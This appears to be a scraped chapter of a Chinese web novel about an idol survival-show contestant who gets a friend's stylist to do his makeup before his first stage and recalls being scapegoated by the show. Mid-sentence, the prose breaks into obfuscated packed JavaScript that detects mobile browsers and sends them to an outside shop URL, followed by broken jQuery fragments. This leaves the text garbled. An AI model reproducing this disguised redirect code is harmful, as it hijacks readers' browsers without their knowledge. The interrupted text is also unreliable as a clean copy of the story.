他一只手突然伸了过来捏住了凌柏原的下巴。

    “啊?”凌柏原有些诧异的微微睁大了眼睛,但还是顺着常盛雪的动作转动着脸部。

    没一会,常盛雪就给凌柏原下了定论。

    “就画了个眉毛,连口红也没擦,这不行啊!”

    常盛雪:“你初舞台跳什么?”

    “王同帆前辈的solo曲‘初绽’。”

    常盛雪有些惊讶。

    这是一首非常清新风的电子舞曲,很适合单独表演。

    算不上什么大爆曲,但是知名度还可以,属于那种追爱豆的大部分都听过,在粉丝圈里有名。

    常盛雪的惊讶不是在于这首歌有多火。

    而是初舞台并不是选手可以自主选择的,需要考虑节目播出时候的版权问题。

    大公司的选手就会好些,公司里或多或少都会有一些热曲版权。小公司没钱的关系打点好了的能从节目组给的曲库里挑一挑,剩下的只能接受节目组指定的曲目,是好是坏全看节目组心情。

    常盛雪和洪阳帆就挑过歌曲,初绽并不在节目组的曲库里,这首歌显然是凌柏原公司给的。

    看来凌柏原的公司并没有多穷,但是肉眼可见的对他不上心。

    不只是妆面没有,造型也搞得素的不行,白色T恤外搭一件白色印花色衬衫,下半身就穿了一件白色直筒裤,头发也就是一个普普通通的黑顺毛。

    常盛雪:“你跟我来,我让陈姐给你补点妆,这么素的造型在镜头里就是一张烙饼上点了几颗芝麻,难看的要死,观众的第一印象非常重要。”

    不愧是官方亲自发过好人卡和队长剧本的人,常盛雪本人果真是面冷内热。

    凌柏原的内心有点苦涩,自己曾经确实给观众留下印象了,不过不是什么好印象,明明自己什么都没做,但是节目组的剪辑总是暗戳戳的引导。

    或许这就是剪辑的魅力,有人能靠它一夜爆红,有人就会因为它坠入深渊。

    常盛雪转头看了眼洪杨帆。

    “你们去吧,我就不去了,太热啦。”洪阳帆徒手给自己扇了扇风。

    常盛雪点头:“嗯,你就待在这,我的包里有手机,一会要是开始了的话给陈姐打电话叫我们一下。”

    “好~”

    “我们走吧。”

    凌柏原跟着常盛雪走出了候机室,旁边的空地上停了不少的车辆。

    他们径直朝着一辆面包车走了过去。

    常盛雪熟练的拉开了车门。

    “陈姐帮个忙,有个朋友他的妆没画好,我想请你给他补一点妆。”

    车上两个人齐刷刷的转头看向凌柏原。

    凌柏原露出了自己曾在镜子上练过百遍的笑容。

    “两位姐姐好,打扰到你们的清闲了。”

    看着年轻一些的女性对着凌柏原说道:“先上来吧,车里凉快些。”

    看来是同意了。

    凌柏原上了车,顺手将车门带上:“谢谢,真的是麻烦了。”

    面包车里一共三排座位,中间的那排座椅都折叠起来,上面放着一个三层化妆箱,第一排和第二排座椅之间还放了一个小马扎。

    “你坐这,让陈姐给你画。”

    常盛雪按着凌柏原的肩膀让他坐在小马扎上。

    看着年长些的姐姐坐在了第三排的座椅上。

    “让我看看要补哪里。”陈姐推开了自己的化妆箱。

    “他脸上都没妆,陈姐你看着直接给他画一个吧。”

    “啊?看着肤色还挺均匀的,我还以为有底妆呢。他一会舞台跳什么?”

    “姐姐我跳王同帆前辈的初绽。”

    陈姐一边调着粉底液一边说道:“哇,我年轻的时候还追过王同帆他们团呢,这首歌挺好的,一会加油跳,说不准就能出头了。”

    坐在前排的姐姐转回了头,有些疑惑的问道:“嗯?当时选歌的时候有这首吗?”

    常盛雪给凌柏原介绍道:“这是我的经纪人,刘美佳,你叫她刘姐就好。”

    凌柏原乖巧的点头,然后回答:“这是我们公司给的。”

    “你跟王同帆一个公司?我记得他合约到期后不是签的明光吗?没听说过明光有搞练习生业务。”

    “算是一个公司的吧,练习生业务是最近一年新开的,不过是专门做了一个子公司叫明盛来做练习生业务。”

    “哦,怪不得没怎么听说。”

    陈姐也调好了粉底液。

    “来,头转过来,开始画了。”

    “哦好,谢谢姐姐。”

    陈姐拿着刷子开始给凌柏原上妆。

    整个车厢里一时无言。

    凌柏原的素颜脸看着很清秀,是属于非常明显的淡颜,五官的量感都不大,薄唇,内双眼,细眉,都不是一眼惊艳的五官,单看最精致的五官是鼻子,够立体,也不过分突兀。

    幸好五官的位置都长得标致,面部没有凹陷,折叠度也够,轮廓也不崎岖,稍微加以妆造便会有完全不同的感受。

    天生就适合化妆的一张脸。

    这是陈姐内心的感慨。

    凌柏原的脸像是一张已经打好底稿的画布,只需要将绚丽的颜色填充进去便能得到一幅惊艳的画作。

    陈姐用中指将细闪的高光点在凌柏原的眼皮上:“好了,睁开眼睛看看吧。”

    凌柏原睁开了眼睛。

    陈姐将化妆箱上的镜子抽起来立在上面:“看看满不满意,要不要再修改一下。你头发喷了发胶,一时半会也搞不好,我就给你稍微整了整形。”

    凌柏原对着镜子笑了。

    镜子里的那美的有些过分的脸也笑了起来。

    整个妆造的重点是眼睛,没有过分强调眼线和睫毛,但是那一抹淡淡的粉色高光,看着便有了三分少男怀春的神态。

    口红和腮红都没有打上什么重的颜色,只是略微提了气色,眉毛加粗了一点,很好的平衡了粉色的娇俏感,不会显得脂粉气太过。

    这有些超出凌柏原的预料了。

    曾经他的三次公演的妆容全部都是非常基础的模板妆容,节目组的化妆师还和他讲过,说他是淡颜,基础的妆容就能最好的体现他的清纯美。

    他相信了,甚至有段时间他还非常感谢那位化妆师姐姐,没有区别对待他。

    现在想来,怕是嫌弃他网上的风评不好,给他化妆麻烦,随便找的借口敷衍他罢了。

    不过现在可不是伤感的时候。

    “谢谢陈姐姐,你的手艺简直就是这个。”凌柏原树起两个大拇指,“太感谢了,要是我能出道我一定给姐姐包个大红包,嘿嘿。”

    陈姐对凌柏原的妆容甚是满意,听了凌柏原的恭维也不觉得是客气。

    拜托!这看起来可太完美了好吧!

    她摆摆手:“等你出道那天给我签几张拍立得给我就行,不收你红包。”

    “柏原,我们走吧,一会估计要开始录制进场了。”

    “哦,好。”凌柏原应声道,然

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16988857|193669||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    后便和两位姐姐告别,“两位姐姐我就先走啦。”

    “再见。”

    “盛雪,等一下,我有两句话要跟你嘱咐一下。”

    常盛雪看了一眼凌柏原,又看了一眼经纪人刘姐。

    凌柏原懂了,他们估计要说一些不方便在自己面前讲的话。

    他很有情商的说道:“那我先出去等你,你们聊。”

    下了车还很贴心的将车门带上,然后走了一小段距离挑了一辆最高的黑色的不知道什么名字的车下躲太阳。

    凌柏原还特意张望了一下车窗,看看里面是不是有人。

    黑漆漆的,凌柏原眯着眼睛观察了一会,没有人坐在驾驶室里。

    太阳光下反光有些厉害,车窗就跟个镜子似的。

    凌柏原看着上面映出的自己,露出了一个灿烂的笑容。

    这一次我一定会出道的!

    常盛雪没一会就出来了。

    “来了,杨帆说已经开始录制进场了,我们赶紧走吧。”

    虽然常盛雪表现的和之前一样,但凌柏原还是敏锐的察觉到他有点不开心。

    或许是刚刚和经纪人说了些什么,不过这不是凌柏原该问的事情。

    既然常盛雪不想让别人知道,自己就当作不知道就好。

    候机厅里气氛有些凝重,已经不是他们离开时那副闹哄哄的样子了。

    “11号,12号,13号选手请到入口处准备。”

    巨大的音响将消息传递到每个人的耳朵,紧张的氛围开始蔓延。

    洪杨帆远远的看见了他们,朝着他们招手示意。

    凌柏原和常盛雪赶紧和洪杨帆会合。

    洪杨帆有些急切的拉着常盛雪的手臂:“呼,雪哥你终于来了,快点快点,我们要进场了。”

    常盛雪16号,洪杨帆17号。

    常盛雪:“我们先进去了,之后见。”

    洪杨帆:“之后见!”

    两人急匆匆的朝着入口处快步走去。

    凌柏原笑着目送他们走到演播厅的入口。

    “请14号,15号选手到入口处准备。”

    凌柏原按了按自己跳动的心脏。

    自己上一回可没现在这么紧张。

    或许是曾经一身了无牵挂,只当一个小小的机会,不成便算了。

    但看过舞台下那为自己呐喊的粉丝,线上分分秒秒都在跳动的票数,被人爱着,被人需要着的感受愈发强烈。

    他应该为她们做些什么才行。

    恶意剪辑,水军节奏,论坛造谣,一次又一次的攻击。

    最后被恶意卡票。

    一切都远远超出了凌柏原的预料。

    一直到淘汰的那一刻他还在思考,自己所谓的皇族称谓到底是是真的,还是只是一个攻击自己的由头。

    直到好心的系统给他灌输了些知识他才明白。

    自己是不是皇族根本不重要,重要的是节目组需要一个‘皇族’,就像一个牌匾,有了这个之后所有人便能没有任何心理负担的攻击他。

    【xxx才不是皇族,真皇族明明是凌柏原。】

    【我们xxx好可怜,白皇真tmd恶心,公演搞成独唱。】

    【之前不知道凌这么ex,以后只给xxx投票了。】

    既是真皇族们的‘清洁剂’,又是好队友们的‘虐粉机’,更是CP粉们的‘提纯器’。

    一人多用。

    凌柏原,一款活着就被拉踩的爱豆。